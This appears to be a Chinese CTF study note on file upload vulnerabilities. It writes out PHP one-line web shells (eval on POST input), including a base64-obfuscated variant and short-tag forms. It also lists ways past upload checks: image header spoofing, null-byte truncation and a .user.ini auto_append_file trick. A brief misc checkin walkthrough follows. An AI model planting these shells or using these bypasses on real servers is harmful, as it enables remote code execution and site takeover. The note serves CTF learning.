web
文件上传漏洞(补充)
- 学了一个
绕过小技巧 若过滤<?;?>,可以用if(){}来闭合
<?php @eval($_POST['chopper']);?>
等同于
$a=base64_decode("ZXZhbA==");//引号里面是eval的base64
if($a($a($_POST['chopper'])){};
- 后端无验证
右击上传图片 看源代码,可以修改png为php 传入一句话木马
system('ls');当前目录
system('ls /');根目录
system('ls ../');上级目录
- 后端文件类型验证(看三个)
- 添加图片头 GIF89A进行欺骗,误以为是图片,实际执行下面内容
- png头欺骗
先随便加个内容,然后找到内容,将Png文件头前八个直接修改进去 - 00截断
同样在hex里面,把.换成00 - Png不会被解析,php3不一定
- .user.ini
改一下accept 内容
auto_append_file=1.txt
image/png
image/gif
image/jpeg
application/php
这里类型应该修改不了
<?=`` 相当于 <?php echo ;?> <?=eval($_POST[1]) php可以不添加- POST[]可以用大括号()替换
<?=eval($_POST[1]) 可以替换成<?=eval(array_pop($_POST));?> 或<?=eval(array_pop($_POST))?> (删去分号) 执行命令
misc
checkin
打开网页检查,看目录,找到wordlist 往上翻
再继续找 解码即可 也可以直接MRCTFbase64编码寻找,但是多了几个字符(注意搜索所有文件可以右击总目录)
|